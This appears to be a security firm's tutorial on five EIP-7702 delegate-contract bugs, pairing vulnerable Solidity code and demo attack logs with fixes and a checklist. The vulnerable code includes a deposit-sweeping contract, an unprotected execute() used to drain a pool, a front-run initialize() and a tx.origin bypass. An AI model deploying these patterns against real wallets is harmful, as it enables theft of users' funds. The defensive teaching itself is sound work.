EIP-7702 Security: 5 Delegate Contract Bugs and the Fix for Each

TL;DR — Quick Summary

• Since Pectra, a normal Ethereum wallet can run code. Under EIP-7702, one signed authorization points an EOA at a contract, and from then on that code runs with the wallet's own balance and storage. Whoever controls that code controls everything at the address.
• The first bug is a signature, not a contract. A delegation to a sweeper forwards every deposit to the attacker: in the demo, 3 deposits of 1 ETH leave the victim at 0.0 ETH. Wallets must refuse chainId 0 and any delegate that is not on their own allowlist.
• A delegate's execute() must only answer to the account itself. Open execute-style functions let anyone act as an admin wallet at IPOR in January 2026 ($336K) and at a QNT pool in April 2026 (1,988.5 QNT).
• initialize() needs a signature from the account, or someone else finishes your setup and owns the account. When the account re-delegates, its storage stays behind, so every delegate needs ERC-7201 namespaced storage to avoid a storage collision.
• tx.origin == msg.sender no longer means "a human, one call at a time". A delegated wallet batched 50 mints into 1 transaction past a tx.origin check. Search your code for tx.origin, extcodesize and isContract, and enforce the limit you actually mean.

Introduction

How EIP-7702 works

1code at victim: 0xef010084… (a 7702 delegation)

1. The address that forwards every deposit: signing a delegation to a sweeper

The demo

1// contracts/src/Sweeper.sol
2contract Sweeper {
3    address payable public immutable sink;
4    constructor(address s) { sink = payable(s); }
5    receive() external payable {
6        (bool ok, ) = sink.call{value: address(this).balance}("");
7        require(ok, "sweep failed");
8    }
9}

1victim 0xf39F…2266 is asked to sign a 7702 authorization
2$ sign authorization: delegate 0x8464…18bc, chainId 0
3  signed (chainId 0) → victim now runs 0x8464…18bc
4$ send 1 ETH to the victim, three times
5  victim runs 0xef010084… → each deposit swept
6balance 0.0 · swept 3.0 ETH

The fix

1// lib/wallet-policy.mjs
2export function makeWalletSigner(account, { allowlist = [] } = {}) {
3  const trusted = new Set(allowlist.map((a) => a.toLowerCase()));
4  return {
5    /** Refuses or signs. `chainId` may be a number or bigint; 0 means "every chain". */
6    async signDelegation({ chainId, delegate, nonce }) {
7      if (Number(chainId) === 0) throw new PolicyError("chainId 0 is valid on every chain");
8      if (!trusted.has(delegate.toLowerCase())) throw new PolicyError("delegate not on allowlist");
9      return account.signAuthorization({ chainId: Number(chainId), nonce, address: delegate });
10    },
11    isTrusted: (delegate) => trusted.has(delegate.toLowerCase()),
12  };
13}

1victim 0xf39F…2266 is asked to sign a 7702 authorization
2$ sign authorization: delegate 0x8464…18bc, chainId 0
3  REFUSED (chainId 0): chainId 0 is valid on every chain
4  REFUSED (chainId 31337): delegate not on allowlist
5$ send 1 ETH to the victim, three times
6  victim has no code → deposits stayed
7balance 3.0 · swept 0.0 ETH

2. Anyone can be your admin: a delegate anyone can call

The demo

1// contracts/src/Pool.sol
2contract Pool {
3    IERC20 public immutable token;
4    address public immutable admin;
5    constructor(IERC20 t, address a) { token = t; admin = a; }
6    function balance() external view returns (uint256) { return token.balanceOf(address(this)); }
7    function withdraw(address to, uint256 amount) external {
8        require(msg.sender == admin, "not admin");
9        token.transfer(to, amount);
10    }
11}

1// contracts/src/OpenDelegate.sol
2struct Call { address to; uint256 value; bytes data; }
3
4/// Attack #2, vulnerable. The QNT / IPOR pattern: an admin EOA delegates to a
5/// delegate whose execute() has NO access control. Anyone can call it and the batch
6/// runs in the admin's context.
7contract OpenDelegate {
8    function execute(Call[] calldata calls) external payable {
9        for (uint256 i; i < calls.length; i++) {
10            (bool ok, ) = calls[i].to.call{value: calls[i].value}(calls[i].data);
11            require(ok, "call failed");
12        }
13    }
14}

1admin 0x3C44…93BC is an EOA that controls a pool of tQNT
2admin delegated to a no-access-control execute(): 0x7125…b03e
3code at admin: 0xef010071… · pool holds 1,988.5 tQNT
4$ attacker → admin.execute([ pool.withdraw(attacker, 1,988.5) ])
5  ✓ ran as the admin → attacker took 1,988.5 tQNT
6pool 1,988.5 → 0 tQNT

The fix

1// contracts/src/SelfDelegate.sol
2contract SelfDelegate {
3    error Unauthorized();
4    function execute(Call[] calldata calls) external payable {
5        if (msg.sender != address(this)) revert Unauthorized();
6        for (uint256 i; i < calls.length; i++) {
7            (bool ok, ) = calls[i].to.call{value: calls[i].value}(calls[i].data);
8            require(ok, "call failed");
9        }
10    }
11}

1admin 0x3C44…93BC is an EOA that controls a pool of tQNT
2admin delegated to a self-only execute(): 0x7125…b03e
3code at admin: 0xef010071… · pool holds 1,988.5 tQNT
4$ attacker → admin.execute([ pool.withdraw(attacker, 1,988.5) ])
5  ✗ reverted: Unauthorized  (caller is not the account itself)
6POOL SAFE: 1,988.5 tQNT

Building with EIP-7702? Send us the design before you write the rest. We will tell you where it breaks, and what it would take to make it safe. Request a design review →

3. The setup someone else finished: front-running initialize

The demo

1// contracts/src/InitDelegate.sol
2contract InitDelegate {
3    address public owner;
4    bool public initialized;
5    function initialize(address newOwner) external {
6        require(!initialized, "already init");
7        initialized = true;
8        owner = newOwner;
9    }
10}

1admin 0x3C44…93BC delegates, then means to call initialize(admin)
2delegated to 0x8464…18bc — a window opens before setup runs
3owner before: 0x0000…0000 (uninitialized)
4$ attacker (front-run) → admin.initialize(owner = attacker)
5  ✓ attacker initialized the account
6owner = 0x90F7…b906 (attacker)

The fix

1// contracts/src/InitDelegateFixed.sol
2import {ECDSA} from "@openzeppelin/contracts/utils/cryptography/ECDSA.sol";
3
4/// Attack #3, fixed. initialize() is bound to a signature from the account itself.
5/// Whoever sends the transaction, the owner only changes if the account (address(this))
6/// signed off on it. A front-runner has no such signature, so their init reverts.
7contract InitDelegateFixed {
8    using ECDSA for bytes32;
9    address public owner;
10    bool public initialized;
11    function initialize(address newOwner, bytes calldata sig) external {
12        require(!initialized, "already init");
13        bytes32 initHash = keccak256(abi.encodePacked(address(this), newOwner));
14        require(initHash.recover(sig) == address(this), "init sig");
15        initialized = true;
16        owner = newOwner;
17    }
18}

1admin 0x3C44…93BC delegates, then means to call initialize(admin)
2delegated to 0x8464…18bc — a window opens before setup runs
3owner before: 0x0000…0000 (uninitialized)
4$ attacker (front-run) → admin.initialize(owner = attacker)
5  ✗ reverted: init sig  (init not signed by the account)
6  account-signed initialize → owner = 0x3C44…93BC
7OWNER = 0x3C44…93BC (the account)

4. The owner left behind: storage that outlives the code

The demo

1// contracts/src/DelegateA.sol
2contract DelegateA {
3    address public owner; // slot 0
4    function setOwner(address newOwner) external { owner = newOwner; }
5}

1// contracts/src/DelegateB.sol
2/// Attack #4, vulnerable. A different delegate the account switches to. Its first
3/// variable, `guardian`, also lands in slot 0 — so it reads back the value delegate A
4/// left there, with no one ever having set guardian on this code.
5contract DelegateB {
6    address public guardian; // slot 0 — collides with DelegateA.owner
7}

1account 0x15d3…6A65 delegates to A, then switches to B
2delegate A set owner (slot 0) = 0x90F7…b906
3storage lives on the account, not the code — slot 0 persists
4$ re-delegate account → B 0x71c9…292e; read B.guardian()
5  ✗ B reads slot 0 → guardian = 0x90F7…b906 (left by A)
6GUARDIAN = 0x90F7…b906 (left by A)

The fix

1// contracts/src/DelegateBFixed.sol
2/// Attack #4, fixed. Same delegate, but `guardian` lives in an ERC-7201 namespaced
3/// slot derived from a unique string, not slot 0. Delegate A never wrote there, so a
4/// fresh account reads guardian == address(0).
5contract DelegateBFixed {
6    // keccak256(abi.encode(uint256(keccak256("zealynx.b")) - 1)) & ~bytes32(uint256(0xff))
7    bytes32 private constant GUARDIAN_SLOT =
8        keccak256(abi.encode(uint256(keccak256("zealynx.b")) - 1)) & ~bytes32(uint256(0xff));
9    function guardian() external view returns (address g) {
10        bytes32 slot = GUARDIAN_SLOT;
11        assembly { g := sload(slot) }
12    }
13}

1account 0x15d3…6A65 delegates to A, then switches to B
2delegate A set owner (slot 0) = 0x90F7…b906
3storage lives on the account, not the code — slot 0 persists
4$ re-delegate account → B 0x71c9…292e; read B.guardian()
5  ✓ B reads its ERC-7201 slot, not slot 0 → guardian = 0x0000…0000
6GUARDIAN = 0x0000…0000 (clean)

5. 50 mints in one call: the check that meant "a human"

The demo

1// contracts/src/MintVuln.sol
2/// Attack #5, vulnerable. A mint that trusts `tx.origin == msg.sender` to mean
3/// "a human called this directly, one at a time". EIP-7702 lets an EOA run delegate
4/// code, so the EOA can call this in a loop from a single transaction — and
5/// tx.origin still equals msg.sender on every call.
6contract MintVuln {
7    mapping(address => uint256) public minted;
8    function mint() external {
9        require(tx.origin == msg.sender, "humans only");
10        minted[msg.sender] += 1;
11    }
12}

1// contracts/src/BatchDelegate.sol
2contract BatchDelegate {
3    event Batch(uint256 ok, uint256 reverted);
4    function batchMint(address minter, uint256 n) external returns (uint256 ok, uint256 reverted) {
5        for (uint256 i; i < n; i++) {
6            (bool s, ) = minter.call(abi.encodeWithSignature("mint()"));
7            if (s) ok++; else reverted++;
8        }
9        emit Batch(ok, reverted);
10    }
11}

1a mint that means "one per human, called directly"
2mint guards with require(tx.origin == msg.sender)
3EOA 0x9965…A4dc delegated to the batcher 0x71c9…292e
4$ EOA self-tx → batchMint(mint, 50)   # one transaction
5  ✗ 50 mints in a single transaction
650 MINTED IN 1 TX

The fix

1// contracts/src/MintFixed.sol
2/// Attack #5, fixed. The tx.origin check is gone. The limit is enforced per address,
3/// so batching 50 calls from one delegated EOA still only mints once.
4contract MintFixed {
5    uint256 public constant LIMIT = 1;
6    mapping(address => uint256) public minted;
7    function mint() external {
8        require(minted[msg.sender]++ < LIMIT, "limit reached");
9    }
10}

1a mint that means "one per human, called directly"
2mint limits one per address
3EOA 0x9965…A4dc delegated to the batcher 0x71c9…292e
4$ EOA self-tx → batchMint(mint, 50)   # one transaction
5  ✓ per-address limit held: 1 minted, 49 reverted
61 MINTED, 49 REVERTED

The checklist

1. Wallets refuse chainId 0 and unknown delegates. The allowlist lives in the wallet's code.
2. A delegate's execute() only answers to the account itself. msg.sender == address(this), or revert.
3. initialize needs the account's own signature. The front-runner has no way to produce it.
4. Namespaced storage in every delegate. ERC-7201, so a new delegate never reads an old one's slots.
5. No tx.origin or code size checks as proof of a human. Enforce the limit you actually mean, per address.

FAQ

Glossary

Build it safely

Building with EIP-7702? Send us the design before you write the rest. We will tell you where it breaks, and what it would take to make it safe. Request a design review →